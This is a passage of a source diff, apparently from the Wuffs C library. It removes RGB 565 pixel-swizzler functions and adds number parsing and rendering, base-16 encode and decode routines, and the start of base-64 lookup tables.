0x00, // 0x68 ..= 0x6F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. + +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. + +- s += 1 * 8; +- d += 1 * 2; +- n -= 1; +- } ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +- return len; +-} ++static const uint8_t wuffs_private_impl__encode_base16[16] = { ++ 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // 0x00 ..= 0x07. ++ 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, // 0x08 ..= 0x0F. ++}; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__result_i64 // ++wuffs_base__parse_number_i64(wuffs_base__slice_u8 s, uint32_t options) { ++ uint8_t* p = s.ptr; ++ uint8_t* q = s.ptr + s.len; + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ } + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ bool negative = false; ++ if (p >= q) { ++ goto fail_bad_argument; ++ } else if (*p == '-') { ++ p++; ++ negative = true; ++ } else if (*p == '+') { ++ p++; + } + +- return len; +-} ++ do { ++ wuffs_base__result_u64 r = wuffs_base__parse_number_u64( ++ wuffs_base__make_slice_u8(p, (size_t)(q - p)), options); ++ if (r.status.repr != NULL) { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = r.status.repr; ++ ret.value = 0; ++ return ret; ++ } else if (negative) { ++ if (r.value < 0x8000000000000000) { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = NULL; ++ ret.value = -(int64_t)(r.value); ++ return ret; ++ } else if (r.value == 0x8000000000000000) { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = NULL; ++ ret.value = INT64_MIN; ++ return ret; ++ } ++ goto fail_out_of_bounds; ++ } else if (r.value > 0x7FFFFFFFFFFFFFFF) { ++ goto fail_out_of_bounds; ++ } else { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = NULL; ++ ret.value = +(int64_t)(r.value); ++ return ret; ++ } ++ } while (0); + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++fail_bad_argument: ++ do { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = wuffs_base__error__bad_argument; ++ ret.value = 0; ++ return ret; ++ } while (0); + +- // TODO: unroll. ++fail_out_of_bounds: ++ do { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = wuffs_base__error__out_of_bounds; ++ ret.value = 0; ++ return ret; ++ } while (0); ++} + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sr = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sb = 0x101 * ((uint32_t)s[0]); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__result_u64 // ++wuffs_base__parse_number_u64(wuffs_base__slice_u8 s, uint32_t options) { ++ uint8_t* p = s.ptr; ++ uint8_t* q = s.ptr + s.len; + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; +- +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; +- +- // Composite src (premul) over dst (premul). +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); +- +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); +- +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (; (p < q) && (*p == '_'); p++) { ++ } + } + +- return len; +-} ++ if (p >= q) { ++ goto fail_bad_argument; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgb(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ } else if (*p == '0') { ++ p++; ++ if (p >= q) { ++ goto ok_zero; ++ } ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ if (*p == '_') { ++ p++; ++ for (; p < q; p++) { ++ if (*p != '_') { ++ if (options & ++ WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { ++ goto decimal; ++ } ++ goto fail_bad_argument; ++ } ++ } ++ goto ok_zero; ++ } ++ } + +- // TODO: unroll. ++ if ((*p == 'x') || (*p == 'X')) { ++ p++; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ } ++ if (p < q) { ++ goto hexadecimal; ++ } + +- while (n >= 1) { +- uint32_t r5 = s[0] >> 3; +- uint32_t g6 = s[1] >> 2; +- uint32_t b5 = s[2] >> 3; +- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ } else if ((*p == 'd') || (*p == 'D')) { ++ p++; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ } ++ if (p < q) { ++ goto decimal; ++ } ++ } + +- s += 1 * 3; +- d += 1 * 2; +- n -= 1; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { ++ goto decimal; ++ } ++ goto fail_bad_argument; + } + +- return len; +-} ++decimal: ++ do { ++ uint64_t v = wuffs_base__parse_number__decimal_digits[*p++]; ++ if (v == 0) { ++ goto fail_bad_argument; ++ } ++ v &= 0x0F; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // UINT64_MAX is 18446744073709551615, which is ((10 * max10) + max1). ++ const uint64_t max10 = 1844674407370955161u; ++ const uint8_t max1 = 5; + +- // TODO: unroll. ++ for (; p < q; p++) { ++ if ((*p == '_') && ++ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ continue; ++ } ++ uint8_t digit = wuffs_base__parse_number__decimal_digits[*p]; ++ if (digit == 0) { ++ goto fail_bad_argument; ++ } ++ digit &= 0x0F; ++ if ((v > max10) || ((v == max10) && (digit > max1))) { ++ goto fail_out_of_bounds; ++ } ++ v = (10 * v) + ((uint64_t)(digit)); ++ } + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))))); ++ wuffs_base__result_u64 ret; ++ ret.status.repr = NULL; ++ ret.value = v; ++ return ret; ++ } while (0); + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; +- } ++hexadecimal: ++ do { ++ uint64_t v = wuffs_base__parse_number__hexadecimal_digits[*p++]; ++ if (v == 0) { ++ goto fail_bad_argument; ++ } ++ v &= 0x0F; + +- return len; +-} ++ for (; p < q; p++) { ++ if ((*p == '_') && ++ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ continue; ++ } ++ uint8_t digit = wuffs_base__parse_number__hexadecimal_digits[*p]; ++ if (digit == 0) { ++ goto fail_bad_argument; ++ } ++ digit &= 0x0F; ++ if ((v >> 60) != 0) { ++ goto fail_out_of_bounds; ++ } ++ v = (v << 4) | ((uint64_t)(digit)); ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ wuffs_base__result_u64 ret; ++ ret.status.repr = NULL; ++ ret.value = v; ++ return ret; ++ } while (0); + +- // TODO: unroll. ++ok_zero: ++ do { ++ wuffs_base__result_u64 ret; ++ ret.status.repr = NULL; ++ ret.value = 0; ++ return ret; ++ } while (0); + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sb = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sr = 0x101 * ((uint32_t)s[0]); ++fail_bad_argument: ++ do { ++ wuffs_base__result_u64 ret; ++ ret.status.repr = wuffs_base__error__bad_argument; ++ ret.value = 0; ++ return ret; ++ } while (0); + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; ++fail_out_of_bounds: ++ do { ++ wuffs_base__result_u64 ret; ++ ret.status.repr = wuffs_base__error__out_of_bounds; ++ ret.value = 0; ++ return ret; ++ } while (0); ++} + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++// -------- + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++// wuffs_base__render_number__first_hundred contains the decimal encodings of ++// the first one hundred numbers [0 ..= 99]. ++static const uint8_t wuffs_base__render_number__first_hundred[200] = { ++ '0', '0', '0', '1', '0', '2', '0', '3', '0', '4', // ++ '0', '5', '0', '6', '0', '7', '0', '8', '0', '9', // ++ '1', '0', '1', '1', '1', '2', '1', '3', '1', '4', // ++ '1', '5', '1', '6', '1', '7', '1', '8', '1', '9', // ++ '2', '0', '2', '1', '2', '2', '2', '3', '2', '4', // ++ '2', '5', '2', '6', '2', '7', '2', '8', '2', '9', // ++ '3', '0', '3', '1', '3', '2', '3', '3', '3', '4', // ++ '3', '5', '3', '6', '3', '7', '3', '8', '3', '9', // ++ '4', '0', '4', '1', '4', '2', '4', '3', '4', '4', // ++ '4', '5', '4', '6', '4', '7', '4', '8', '4', '9', // ++ '5', '0', '5', '1', '5', '2', '5', '3', '5', '4', // ++ '5', '5', '5', '6', '5', '7', '5', '8', '5', '9', // ++ '6', '0', '6', '1', '6', '2', '6', '3', '6', '4', // ++ '6', '5', '6', '6', '6', '7', '6', '8', '6', '9', // ++ '7', '0', '7', '1', '7', '2', '7', '3', '7', '4', // ++ '7', '5', '7', '6', '7', '7', '7', '8', '7', '9', // ++ '8', '0', '8', '1', '8', '2', '8', '3', '8', '4', // ++ '8', '5', '8', '6', '8', '7', '8', '8', '8', '9', // ++ '9', '0', '9', '1', '9', '2', '9', '3', '9', '4', // ++ '9', '5', '9', '6', '9', '7', '9', '8', '9', '9', // ++}; + +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++static size_t // ++wuffs_private_impl__render_number_u64(wuffs_base__slice_u8 dst, ++ uint64_t x, ++ uint32_t options, ++ bool neg) { ++ uint8_t buf[WUFFS_BASE__U64__BYTE_LENGTH__MAX_INCL]; ++ uint8_t* ptr = &buf[0] + sizeof(buf); + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ while (x >= 100) { ++ size_t index = ((size_t)((x % 100) * 2)); ++ x /= 100; ++ uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; ++ uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; ++ ptr -= 2; ++ ptr[0] = s0; ++ ptr[1] = s1; + } + +- return len; +-} +- +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ if (x < 10) { ++ ptr -= 1; ++ ptr[0] = (uint8_t)('0' + x); ++ } else { ++ size_t index = ((size_t)(x * 2)); ++ uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; ++ uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; ++ ptr -= 2; ++ ptr[0] = s0; ++ ptr[1] = s1; ++ } + +- // TODO: unroll. ++ if (neg) { ++ ptr -= 1; ++ ptr[0] = '-'; ++ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { ++ ptr -= 1; ++ ptr[0] = '+'; ++ } + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); ++ size_t n = sizeof(buf) - ((size_t)(ptr - &buf[0])); ++ if (n > dst.len) { ++ return 0; ++ } ++ memcpy(dst.ptr + ((options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) ++ ? (dst.len - n) ++ : 0), ++ ptr, n); ++ return n; ++} + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__render_number_i64(wuffs_base__slice_u8 dst, ++ int64_t x, ++ uint32_t options) { ++ uint64_t u = (uint64_t)x; ++ bool neg = x < 0; ++ if (neg) { ++ u = 1 + ~u; + } ++ return wuffs_private_impl__render_number_u64(dst, u, options, neg); ++} + +- return len; ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__render_number_u64(wuffs_base__slice_u8 dst, ++ uint64_t x, ++ uint32_t options) { ++ return wuffs_private_impl__render_number_u64(dst, x, options, false); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// ---------------- Base-16 + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_16__decode2(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ wuffs_base__transform__output o; ++ size_t src_len2 = src.len / 2; ++ size_t len; ++ if (dst.len < src_len2) { ++ len = dst.len; ++ o.status.repr = wuffs_base__suspension__short_write; ++ } else { ++ len = src_len2; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ } else if (src.len & 1) { ++ o.status.repr = wuffs_base__error__bad_data; ++ } else { ++ o.status.repr = NULL; ++ } ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sb = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sr = 0x101 * ((uint32_t)s[0]); ++ uint8_t* d = dst.ptr; ++ uint8_t* s = src.ptr; ++ size_t n = len; + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; ++ while (n--) { ++ *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[0]] << 4) | ++ (wuffs_base__parse_number__hexadecimal_digits[s[1]] & 0x0F)); ++ d += 1; ++ s += 2; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ o.num_dst = len; ++ o.num_src = len * 2; ++ return o; ++} + +- // Composite src (premul) over dst (premul). +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_16__decode4(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ wuffs_base__transform__output o; ++ size_t src_len4 = src.len / 4; ++ size_t len = dst.len < src_len4 ? dst.len : src_len4; ++ if (dst.len < src_len4) { ++ len = dst.len; ++ o.status.repr = wuffs_base__suspension__short_write; ++ } else { ++ len = src_len4; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ } else if (src.len & 1) { ++ o.status.repr = wuffs_base__error__bad_data; ++ } else { ++ o.status.repr = NULL; ++ } ++ } + +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ uint8_t* d = dst.ptr; ++ uint8_t* s = src.ptr; ++ size_t n = len; + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ while (n--) { ++ *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[2]] << 4) | ++ (wuffs_base__parse_number__hexadecimal_digits[s[3]] & 0x0F)); ++ d += 1; ++ s += 4; + } + +- return len; ++ o.num_dst = len; ++ o.num_src = len * 4; ++ return o; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__y(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_16__encode2(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ wuffs_base__transform__output o; ++ size_t dst_len2 = dst.len / 2; ++ size_t len; ++ if (dst_len2 < src.len) { ++ len = dst_len2; ++ o.status.repr = wuffs_base__suspension__short_write; ++ } else { ++ len = src.len; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ } else { ++ o.status.repr = NULL; ++ } ++ } + +- while (n >= 1) { +- uint32_t y5 = s[0] >> 3; +- uint32_t y6 = s[0] >> 2; +- uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ uint8_t* d = dst.ptr; ++ uint8_t* s = src.ptr; ++ size_t n = len; + +- s += 1 * 1; +- d += 1 * 2; +- n -= 1; ++ while (n--) { ++ uint8_t c = *s; ++ d[0] = wuffs_private_impl__encode_base16[c >> 4]; ++ d[1] = wuffs_private_impl__encode_base16[c & 0x0F]; ++ d += 2; ++ s += 1; + } + +- return len; ++ o.num_dst = len * 2; ++ o.num_src = len; ++ return o; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_16__encode4(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ wuffs_base__transform__output o; ++ size_t dst_len4 = dst.len / 4; ++ size_t len; ++ if (dst_len4 < src.len) { ++ len = dst_len4; ++ o.status.repr = wuffs_base__suspension__short_write; ++ } else { ++ len = src.len; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ } else { ++ o.status.repr = NULL; ++ } ++ } + +- while (n >= 1) { +- uint32_t y5 = s[0] >> 3; +- uint32_t y6 = s[0] >> 2; +- uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ uint8_t* d = dst.ptr; ++ uint8_t* s = src.ptr; ++ size_t n = len; + +- s += 1 * 2; +- d += 1 * 2; +- n -= 1; ++ while (n--) { ++ uint8_t c = *s; ++ d[0] = '\\'; ++ d[1] = 'x'; ++ d[2] = wuffs_private_impl__encode_base16[c >> 4]; ++ d[3] = wuffs_private_impl__encode_base16[c & 0x0F]; ++ d += 4; ++ s += 1; + } + +- return len; ++ o.num_dst = len * 4; ++ o.num_src = len; ++ return o; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__index__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len2 = dst_len / 2; +- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// ---------------- Base-64 + +- const size_t loop_unroll_count = 4; ++// The two base-64 alphabets, std and url, differ only in the last two codes. ++// - std: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ++// - url: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" + +- while (n >= loop_unroll_count) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); +- wuffs_base__poke_u16le__no_bounds_check( +- d + (1 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[1] * 4))); +- wuffs_base__poke_u16le__no_bounds_check( +- d + (2 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[2] * 4))); +- wuffs_base__poke_u16le__no_bounds_check( +- d + (3 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[3] * 4))); ++static const uint8_t wuffs_base__base_64__decode_std[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. ++ 0x80, 